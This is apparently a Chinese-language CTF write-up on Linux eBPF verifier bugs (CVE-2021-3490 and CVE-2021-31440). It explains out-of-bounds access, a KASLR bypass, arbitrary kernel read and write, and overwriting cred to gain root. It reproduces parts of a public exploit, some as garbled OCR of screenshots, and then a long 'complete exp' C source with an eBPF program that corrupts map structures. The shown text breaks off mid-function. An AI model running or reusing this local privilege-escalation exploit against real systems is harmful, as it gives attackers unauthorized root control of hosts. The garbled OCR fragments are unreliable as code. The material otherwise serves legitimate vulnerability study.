越界读写在有了原语reg之后就很简单,我们可以用原语reg乘以我们想去的偏移量,然后再用map_ptr去减,由于verifier认为原语reg是0,乘以多少也是0,所以verifier会认为map_ptr减的是0,但是到runtime时,已经减到偏移量了

bypass KASLR

image-20220317185723684

这里面最有用的就是ops,ops是kernel里面内置的表,甚至是导出的,不同type的map有不同的ops,根据这个就可以泄露Kernel base

Arbitrary Read

if (map->btf) {  info.btf_id = map->btf->id;  info. — map->btf_key_type—id;  info. =

任意读用的是btf,一般情况下用不到btf,所以我们可以随便设置,当我们调用bpf的bpf_map_get_info_by_fd-function命令时就会执行上面的命令,所以我们把btf设置到someaddr - offsetof(struct btf, id)的位置,就可以从someaddr上读4个字节

finding Process strcut

首先我们得找到init_pid_ns,默认的进程命名空间,两种方式去找

1.知道array_map_ops到init_pid_ns的偏移,那直接加偏移就行,这个offset不依赖KASLR,但是不同 的kernel里面不稳定

2.直接搜符号表

找到init_pid_ns之后,直接遍历他的radix tree去找task struct,实际上OS也是这样找的,在task struct里面,cred struct包含user priviledge,还有文件描述符数组,file_operation里面的private_date可以找到bpf_map的地址,我们可以获取到第三个map(explmap)的地址

Arbitrary write

image-20220317190247641

这个函数只要我们控制了key和next_key就可以任意地址写

为了到达这个函数,我们修改explmap的ops里的这个函数指针

map_push_elem)(struct bpf_map *map,  void *value, u64 flags)  int ( *

Set ops to our fake vtable inside the explmap buffer.  Set explmap->spin lock off to O to pass some additional checks.  Set explmap->max entries to Oxffffffff to pass the check in  array map get next key.  Set to BPF TYPE STACK to be able to reach map_push elem.

Map_push_elem只有在特定MAP 类型里才能调用

设置max_entries是强制过掉俩if

前面为什么要从文件描述符里得到explmap的bpf_map地址,因为这样才能得到map content的地址,我们伪造的ops虚表是要写在这里面的,得不到地址怎么填

Getting Root Privilege

有了任意读和任意写 ,直接修改cred的uid到0就行

3490 exp分析

chompie1337/Linux_LPE_eBPF_CVE-2021-3490 (github.com)

exp在上,由于这题本身就可以用,所以分析这个exp就行

494  495 v  496  498  499  500 v  501  502  503  504  int  main(int argc, char  exploit context ctx  **argv)  current pid = getpid();  pid t  if(Ø  ma (&ctx) )  reate  goto done;

494  495 v  496  498  499  500 v  501  502  503  504  int  main(int argc, char  exploit context ctx  **argv)  current pid = getpid();  pid t  if(Ø  ma (&ctx) )  reate  goto done;

首先创建用到的bpf_map

146  147  148  149  150  151  152  153  154  155  156  157  158  159  160  161  162  - int  create_bpf_maps(exptoit_context* pctx)  int ret =  -1;  int oob_map_fd = -1  int store_map_fd = -1  char vats  union bpf_attr map_attrs =  .map_type =  . key _ Size = 4  .value size  = ARRAY MAP SIZE,  .max entries = 1  = create_map( map_attrs: &map_attrs) ;  oob_map_fd  store_map_fd = create_map( map_attrs: &map_attrs) ;

一个用作任意读和任意写,一个用来劫持控制流

(int map_fd,  - int  Uint64_t key,  void* value,  Uint64_t flags)  int ret =  -1;  union bpf_attr attr =  .map_fd  . key  . value  . flags  = map_fd,  = flags,  ret = bpf( cmd:  return ret;  attrs: &attr) ;

把两个map的value都初始化成0

169  170  171  172  173  174  175  176  177  178  179  188  181  182  183  184  185  186  187  188  map_fd  goto done;  : oob_map_fd,  key: @ ,  key: @ ,  value: vats,  value: vats,  flags: BPF_ANY))  flags: BPF_ANY))  .- map_fd:  goto done;  pCtx->00b_map_fd  = oob_map_fd;  pctx->store_map_fd  = store_map_fd;  ret =  done:  return ret;

整个exploit过程用的值都由一个结构体维护

20  21  22  23  24  25  26  27  28  29  31  - typedef struct exploit_context  int oob_map_fd;  int store_map_fd;  int pcpg  Uint64 t  Uint64 t  Uint64 t  Uint64 t  Uint64 t  Uint32 t  fd;  array_map_ops;  init_pid_ns;  cred;  state;  exploit_context ;

泄露oobmap的指针

507  588  589  518  511  512  513  pctx: &ctx))  goto done;  printf( format: " [+] addr of 00b BPF array map:

构造ebpf程序如下

image-20220317191417127

这里首先用到了exploit primitive1

注释如下

// The exploit primitive is an eBPF program contained into two parts. The first part only triggers the bug, where EXPLOIT_REG will have incorrect 32 bit bounds (u32_min_value=1,u32_max_value=0).

// The second part causes the eBPF verifier to believe EXPLOIT_REG has a value of 0 but actually has a runtime value of 1. It is split into two parts because we only need the first part to leak

// the pointer to the BPF array map used for OOB read/writes.

也就是单纯构造exploit_reg和构造”0,1”寄存器分开了

这里就是构造一个exploit_reg 然后加到OOB_MAP_VALUE上,使得OOB_MAP_value变成scalar值,,再把其存到SToreMap中就可以泄露了

image-20220317191459250

第三步

514  515  516  517  518  519  528  521  if (0 pctx: &ctx))  goto done;  printf( format: " [+] addr of array_map_ops:

泄露ops的地址

image-20220317191529394

经过两个原语之后,直接乘以OPS的偏移就行,读是一样的,先存到storemap里面,然后再读280  281  282  283  284  285  286  287  288  289  290  291  292  293  294  295  296  297  298  299  301  -int  pCtx)  int ret =  -1;  uint64 t kernel addr = O  pCtx->state =  EXPLOIT STATE READ;  if (E) ! = addr: pCtx->array_map_ops,  goto done;  goto done;  ret =  done :  return ret;  buffer:  ten: sizeof(uint64_t)))

任意读的原语就是前面介绍的原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int kernel_read_uint(exploit_context* pCtx, uint64_t addr, uint32_t* puiData)
{
int ret = -1;
char vals[ARRAY_MAP_SIZE] = {0};
uint64_t btf_addr = addr - BTF_ID_OFFSET;
struct bpf_map_info_kernel info = {0};
union bpf_attr attrs =
{
.info.bpf_fd = pCtx->oob_map_fd,
.info.info = (long long unsigned int)&info,
.info.info_len = sizeof(info)
};
struct bpf_insn insn[] =
{
exploit_primitive_pt1(pCtx->oob_map_fd, pCtx->store_map_fd),
exploit_primitive_pt2,
// exploit reg value is BPF_MAP_BTF_OFFSET (verifier believes its 0)
BPF_ALU64_IMM(BPF_MUL, EXPLOIT_REG, BPF_MAP_BTF_OFFSET),
// subtract BPF_MAP_BTF_OFFSET from oob map value pointer so it points to
// bpf_map->btf
BPF_ALU64_REG(BPF_SUB, OOB_MAP_REG, EXPLOIT_REG),
// load the leak address from store map
BPF_LDX_MEM(BPF_DW, LEAK_VAL_REG, STORE_MAP_REG, 8),
// set bpf_map->btf = leak address. using BPF syscall with command
// BPF_OBJ_GET_INFO_BY_FD will return the value of bpf_map->btf->id
BPF_STX_MEM(BPF_DW, OOB_MAP_REG, LEAK_VAL_REG, 0),
BPF_EXIT_INSN()
};

memcpy(&vals[sizeof(uint64_t)], &btf_addr, sizeof(uint64_t));

if(0 != update_map_element(pCtx->store_map_fd, 0, vals, BPF_ANY))
{

goto done;
}

if(0 != run_bpf_prog(insn, sizeof(insn) / sizeof(insn[0]), &pCtx->prog_fd))
{

goto done;
}

if(0 != obj_get_info_by_fd(&attrs))
{

goto done;
}

*puiData = info.btf_id;
ret = 0;

done:
return ret;
}

81  82  int ret =  83  -1;  84  for(uint32_t 1  = (3; i < ten;  85  86  uint32_t vat =  87  88  if(Gl ! =  89  91  goto done;  92  93  (buffer + i)  94  96  97  ret =  98  99  done:  return ret;  101  -int pCtx,  uint64_t addr,  char* buffer,  uint32_t ten)  (pCtx ,  sizeof (uint32_t))  addr: addr + i,  puiData: &val))  = vat;

这里是封装的指定len的read

testread就是读一个uint64试试

532  533  534  535  536  537  538  539  if(Gl ! =  search_init_pid_ns_kstrtab( pctx: &ctx))  goto done;  printf(  printf(  format.  format.  addr of init_pid_ns in  searching for init_pid_ns in EyyutAP...\n )  kstrtab: ,  ctx.

接下来两步是search init_pid_ns

532  533  534  535  536  537  538  539  540  541  542  543  544  545  546  547  548  search_init_pid_ns_kstrtab( pctx: &ctx))  goto done;l  printf(  printf(  format:  format:  ' [+] addr of init_pid_ns in kstrtab: ,  ctx.  " [!] searching for init_pid_ns in EyyutAP...\n )  search_init_pid_ns_ksymtab( pctx: &ctx))  goto done;  printf(  printf(  format.  format.  addr of init_pid_ns  searching for creds  for pid:  ctx.  current_pid) ;

后面是find_task_cred

131  132  133  134  135  136  137  138  139  143  141  142  143  144  145  146  147  149  1513  151  152  153  154  - int  pCtx,  pid_t pid)  int ret =  uint64_t  uint64_t  uint64_t  -1;  pid_struct =  first =  task =  pid_struct = (uint64_t)find_pid_ns(pCtx,  goto done;  kernel_read (pCtx ,  addr. pid_struct +  goto done;  task = first  kernel_read (pCtx ,  addr. task +  nr: pid) ;  buffer:  buffer: (chap*)&pCtx->cped,  ten: sizeof(uint64_t));  Len: sizeof(uint64_t));

根据pid在ns里面找

倒数第二步时是准备任意写原语

最后就是写cred_struct

-int pCtx)  401  402  404  436  408  409  410  411  412  414  415  416  418  419  int ret =  if(Gl  goto done;  if(El  goto done;  if(El  goto done;  ret =  addr: pctx->cred + CRED_UIDLOFFSET,  addr: pctx->cred +  addr: pctx->cred +  Val: El))  Val: El))  Val: El))

任意写,addr填在next_key的位置,由于value会加1,所以这里给的val-1

103  104  135  106  107  108  109  110  111  112  113  114  115  116  117  118  119  120  121  122  123  -int  pCtx,  int ret =  -1;  char  uint64_t addr,  uint32_t vat)  // addr  vat  memcpy(  will be set to index(val) + 1 in array_map_get_next_key  src: &val, n: sizeof(uint32_t));  dest: vats,  map_fd: pCtx->00b_map_fd,  key: @ ,  value: vats,  flags: addr))  goto done;  ret =  done:  return ret;

exp的一些问题

上面这个exp是能用的,但是会出现很多问题,其寻找ns,和task_struct有点慢,因为其实际上并不是通过kernelbase + offset这种ctf上的针对特定版本的方式,由于比赛中目标服务器只有几分钟的时间,所以这里要改成加偏移的方式,而不是暴力搜索

【kernel exploit】CVE-2021-31440 eBPF边界计算错误漏洞(Pwn2Own 2021) — bsauce

这题其实也可以用31440打,而31440提供的exp是加偏移的方式,只不过给的exp偏移不是题目给的kernel里的偏移,所以要修一下

然后3490是遍历idr树去找指定pid的task struct

31440是直接通过task_struct在ns中的偏移获取第一个task-struct

#JG33x38ÆFä task_struct (reat_cred cred %fÆÉ/ä)  L inux-5. 11 if

然后通过task_struct的next链表遍历所有的task_struct来找到目标pid的struct

ALU sanitation

这是一个特性,后来看exp感觉,在exp的利用思路下,sanitation并不能阻止阅读读写,但是其会加一个最大偏移map size的设定,所以会相对来说有点小限制,基本没影响

防止在运行时发生OOB,每次跟指针进行算术运算时,会计算一个alu_limit,代表最大能加到,或减在指针上的值,

在每次指针运算时,会patch下面的指令

REG  4  *patch++ —  - BPF  *patch++ —  - BPF  *patch++ —  - BPF  *patch++ —  - BPF  *patch++ —  - BPF  *patch++ —  - BPF  MOV32  ALL164  ALL164  ALL164  ALL164  ALL164  _ IMM (BPF_  _ REG (BPF_SUB,  _ REG (BPF_OR,  _ IMM (BPF_NEG,  _AX, t)  off_reg)  off_reg)  BPF REG AX,  _ IMM (BPF_ARSH, BPF REG AX,  _ REG (BPF_AND, BPF REG AX,  63  off _ reg)

这段patch

1.alu_limit被装装载到ax中

2.ax = ax-off_reg,如果off_reg > ax,ax的signbit就会被设置

3.ax = ax or offreg ,如果ax是正,off_reg是负,or会设置符号位

4.neg会反向符号位,

5.arsh对ax做算术右移,所以整个ax会被符号位填充

6.根据上面的操作,如果off_reg > ax就是越界了,这里ax and之后就是0

如果没越界,and之后不变

Alu_limit的值现在确实已经出了新的计算方式,但是还没应用到Linux kernel上,先前的alu_limit是根据指针寄存器的boundary来的,如果指针寄存器指向一个map的开始,那么减的alu_limit就是0,加的limit就是size of map

目前,alu_limit取决于off_reg,意味着offreg在运行时会跟在verifier时算出的boundary进行比较

编译带符号的linux kernel

编译内核用到的一些依赖

1
2
3
4
5
6
7
#apt-get install make
#apt-get install gcc
#apt-get install flex
#apt-get install bison
#apt-get install libncurses-dev
#apt-get install libssl-dev
#apt-get install libelf-dev

编译内核参考这篇文章

编译 Linux 内核,qemu + gdb 动态调试 - scriptk1d - 博客园 (cnblogs.com)

编译内核时碰到的错误

compilation - BTF: .tmp_vmlinux.btf: pahole (pahole) is not available - Stack Overflow

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576

// https://www.anquanke.com/post/id/242567
// 所有的 update_elem(0, 2); 都改成 update_elem(0, 0x180000000);
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/wait.h>
// #include <linux/bpf.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <stddef.h>
#include "./bpf.h"
#ifndef __NR_BPF
#define __NR_BPF 321
#endif
#define ptr_to_u64(ptr) ((__u64)(unsigned long)(ptr))
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM})
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32)(IMM)}), \
((struct bpf_insn){ \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64)(IMM)) >> 32})
#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_MOV_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_MOV_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_RSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_RSH | BPF_X, DST, SRC, 0, 0)
#define BPF_LSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_LSH | BPF_K, DST, 0, 0, IMM)
#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_ALU64_REG(OP, DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_X, DST, SRC, 0, 0)
#define BPF_ALU_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_JMP_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)
#define BPF_JMP32_REG(OP, DST, SRC, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_X, DST, SRC, OFF, 0)
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP32 | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) BPF_RAW_INSN(BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, DST, SRC, OFF, 0)
int doredact = 0;
#define LOG_BUF_SIZE 65536
char bpf_log_buf[LOG_BUF_SIZE];
char buffer[64];
int sockets[2];
int mapfd;
void fail(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
void redact(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
if (doredact)
{
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
return;
}
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
void msg(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
fprintf(stdout, "[*] ");
vfprintf(stdout, fmt, args);
va_end(args);
}
int bpf_create_map(enum bpf_map_type map_type,
unsigned int key_size,
unsigned int value_size,
unsigned int max_entries)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries};
return syscall(__NR_BPF, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_obj_get_info_by_fd(int fd, const unsigned int info_len, void *info)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.info.bpf_fd = fd;
attr.info.info_len = info_len;
attr.info.info = ptr_to_u64(info);
return syscall(__NR_BPF, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, const void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_BPF, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, const void *key, const void *value,
uint64_t flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_BPF, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_prog_load(enum bpf_prog_type type,
const struct bpf_insn *insns, int insn_cnt,
const char *license)
{
union bpf_attr attr = {
.prog_type = type,
.insns = ptr_to_u64(insns),
.insn_cnt = insn_cnt,
.license = ptr_to_u64(license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
return syscall(__NR_BPF, BPF_PROG_LOAD, &attr, sizeof(attr));
}

#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})
#define BPF_MAP_GET(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0), \
BPF_MOV64_IMM(BPF_REG_0, 0)
#define BPF_MAP_GET_ADDR(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG((dst), BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_0, 0)
int load_prog()
{
struct bpf_insn prog[] = {
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
// (1) trigger vulnerability
BPF_MAP_GET(0,BPF_REG_5), // 9: (79) r5 = *(u64 *)(r0 +0) 传进r5=0x180000000
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // 11: (bf) r8 = r0
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), // 12: (bf) r7 = r0
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // 13: (bf) r6 = r5
BPF_JMP_IMM(BPF_JSGE, BPF_REG_6, 1, 1), // 14: (75) if r6 s>= 0x1 goto pc+1 对1进行有符号比较
BPF_EXIT_INSN(), // 15: (95) exit
BPF_LD_IMM64(BPF_REG_2, 0x8fffffff), // 16: (18) r2 = 0x8fffffff 此时认为r6的范围为:[1,0x7fffffffffffffff]
BPF_JMP_REG(BPF_JGT, BPF_REG_6, BPF_REG_2, 1), // 18: (2d) if r6 > r2 goto pc+1 此时对r2进行无符号比较
BPF_EXIT_INSN(), // 19: (95) exit 得到r2的64位范围为[0x90000000,0x7fffffffffffffff],32位范围为:[0x90000000, 0xffffffff],这里检查就出现了错误:64位操作数的比较,32位的范围应该是不清楚的,但却得到范围[0x90000000, 0xffffffff],只要传进来的数32位部分不在此范围,就可以触发漏洞
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // 20: (bc) w6 = w6 对64位进行截断,只看32位部分,范围依旧是[0x90000000, 0xffffffff]
BPF_ALU32_IMM(BPF_ADD, BPF_REG_6, 0x70000000), // 21: (04) w6 += 1879048192 w6+=0x70000000,得到范围为[0,0x6fffffff]
BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 31), // 22: (77) r6 >>= 31 右移31位,取32位范围的符号位,因为认为范围是[0,0x6fffffff],所以结果恒为0
// BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //r6 =r0 */
// BPF_ALU64_IMM(BPF_RSH, BPF_REG_6, 1), //r6 >>1 verify:0 fact:1
// (2) read kaslr (op=0) 泄露内核基址,读取bpf_array->map->ops指针,位于 &value[0]-0x110 (先获取&value[0],减去0x110即可),读出来的地址存放在value[4]
BPF_MAP_GET(1, BPF_REG_7), // 30: (79) r7 = *(u64 *)(r0 +0)
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 0, 23), // 32: (55) if r7 != 0x0 goto pc+23
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // 33: (27) r6 *= 272
BPF_MAP_GET_ADDR(0, BPF_REG_7), // 41: (bf) r7 =map_value(id=0,off=0,ks=4,vs=8,imm=0) R7=invP0 R8=invP0 R9=ma?
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 43: (1f) r7 -= r6
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0), // 44: (79) r8 = *(u64 *)(r7 +0)
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0), // 54: (7b) *(u64 *)(r6 +0) = r8
BPF_EXIT_INSN(),
// (3) write btf (op=1) 任意地址读,一次只能读4字节,篡改 bpf_array->map->btf (偏移0x40),利用 bpf_map_get_info_by_fd 泄露 map->btf+0x58 地址处的4字节
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 1, 22), // op=1 -> write btf
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xd0), // &value[0]-0x110+0x40 = &value[0]-0xd0
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_MAP_GET(2, BPF_REG_8), // value[2] 传入 target_addr-0x58
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
BPF_EXIT_INSN(),
// (4) read attr (op=2) 读取value[0]的地址,也即 bpf_array->waitlist (偏移0xc0)指向自身,所以 &value[0]= &bpf_array->waitlist + 0x50,只需读取 &value[0]-0x110+0xc0 的值,加上0x50即可,读出来的地址存放在value[4]
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 2, 23), // op=2 -> read attr
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x50), // 偏移 -0x110+0xc0=-0x50 也即&value[0]的地址
BPF_MAP_GET_ADDR(0, BPF_REG_7),
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),
BPF_LDX_MEM(BPF_DW, BPF_REG_8, BPF_REG_7, 0),
BPF_MAP_GET_ADDR(4, BPF_REG_6),
BPF_STX_MEM(BPF_DW, BPF_REG_6, BPF_REG_8, 0),
BPF_EXIT_INSN(),
// (5) write ops and change type (op=3) 任意地址写,篡改 bpf_array->map->ops 函数表指针
BPF_JMP_IMM(BPF_JNE, BPF_REG_7, 3, 60), // op=3 -> write ops and change type
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x110), // r6 = r6*0x110
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 = r7-r6
BPF_MAP_GET(2, BPF_REG_6), // r6 = value[2] 传入&value[0]+0x80
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_6, 0), // *(r7+0) = r6 篡改 bpf_array->map->ops = &value[0]+0x80
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8), // r6 = r8 恢复r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xf8), // r8 = r8*0xf8
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 = r7 - r8
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0x17), // *(r7+0) = 0x17 bpf_array->map->map_type (0x18) -0x110+0x18 = -0xf8 改为 BPF_MAP_TYPE_STACK (0x17)
BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // r8 = r6
BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0xec), // r6 = r6*0xec
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // r7 = r7 - r6
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, -1), // *(r7+0) = -1 bpf_array->map->max_entries (0x24) -0x110+0x24 = -0xec
BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xe4), // r8 = r8*0xe4
BPF_MAP_GET_ADDR(0, BPF_REG_7), // r7 = &value[0]
BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), // r7 = r7 - r8
BPF_ST_MEM(BPF_W, BPF_REG_7, 0, 0), // *(r7+0) = 0 bpf_array->map->spin_lock_off (0x2c) -0x110+0x2c = -0xe4
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog) / sizeof(struct bpf_insn), "GPL");
}
// write_msg() —— trigger to execute eBPF code
int write_msg()
{
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0)
{
perror("write");
